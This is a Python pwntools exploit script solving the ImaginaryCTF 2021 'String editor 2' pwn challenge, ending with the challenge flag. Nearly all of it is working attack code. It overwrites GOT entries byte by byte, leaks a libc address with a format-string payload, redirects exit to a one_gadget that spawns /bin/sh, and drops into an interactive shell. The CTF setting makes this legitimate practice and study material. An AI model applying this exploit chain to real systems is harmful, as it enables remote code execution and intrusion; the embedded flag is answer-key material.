ImaginaryCTF 2021 - String editor 2

string-editor-2.py

from pwn import *

LOCAL = False
if LOCAL:
    io = process("string_editor_2",env={"LD_PRELOAD" : "./libc.so.6"})
    pid = gdb.attach(io, gdbscript='''
    ''')
else:
    io = remote("chal.imaginaryctf.org",42005)

libc = ELF("libc.so.6")
elf = ELF("string_editor_2")

io.recvuntil("utils)\n")

target_addr = 0x00601080 # Address to target
log.info("strcpy_got : {}".format(hex(elf.got["strcpy"])))
log.info("exit_got : {}".format(hex(elf.got["exit"])))
log.info("sleep_got : {}".format(hex(elf.got["sleep"])))

offset_to_strcpy = elf.got["strcpy"] - 0x00601080
offset_to_exit = elf.got["exit"] - 0x00601080
offset_to_sleep = elf.got["sleep"] - 0x00601080

log.info("{} offset to strcpy".format(offset_to_strcpy))
log.info("{} offset to exit".format(offset_to_exit))
log.info("{} offset to sleep".format(offset_to_sleep))

# Overwrite strcpy with printf plt address
stage1 = p64(0x00400600)
for i in range(8):
    log.info("Overwriting {}".format(hex(0x00601080+offset_to_strcpy+i)))
    io.sendline(str(offset_to_strcpy+i))
    io.recvline()
    io.sendline(stage1[i:i+1])
    io.recvuntil("utils)\n")

# Format string in characters pallete
evil_string = "%12$p%13$p%14$p"
for i in range(len(evil_string)):
    io.sendline(str(i))
    io.recvline()
    io.sendline(evil_string[i:i+1])
    io.recvuntil("utils)\n")

# Trigger strcpy
# RDI : target
# Leak libc address and return to main without touching stack. The uniq way to avoid segfaults in main's scanf call
log.info("Triggering first stage using strcpy function")
io.sendline("15")
io.recvuntil("3. Exit\n")
io.sendline("2")

libc_leak = int(io.recvline().decode().split("0x")[1],16)
log.info("leaked_libc address : {}".format(hex(libc_leak)))


libc.address = libc_leak-0x290B3
log.info("libc_base : {}".format(hex(libc.address)))


# Overwrite exit with one_gadget
one_gadget = libc.address+0x2000+0xe6c81

log.info("one_gadget : {}".format(hex(one_gadget)))
log.info("system : {}".format(hex(libc.symbols["system"])))

stage2 = p64(one_gadget)
for i in range(8):
    log.info("Overwriting {}".format(hex(0x00601080+offset_to_exit+i)))
    io.sendline(str(offset_to_exit+i))
    io.recvline()
    io.sendline(stage2[i:i+1])
    io.recvuntil("utils)\n")

# Trigger one_gadget with exit
log.info("Triggering first stage using strcpy function")
io.sendline("15")
io.recvuntil("3. Exit\n")
io.sendline("3")

io.interactive()

"""
0xe6c7e execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe6c81 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe6c84 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL
"""

# ictf{g0t_0v3rwr1te?????????????????????????_953a20b1}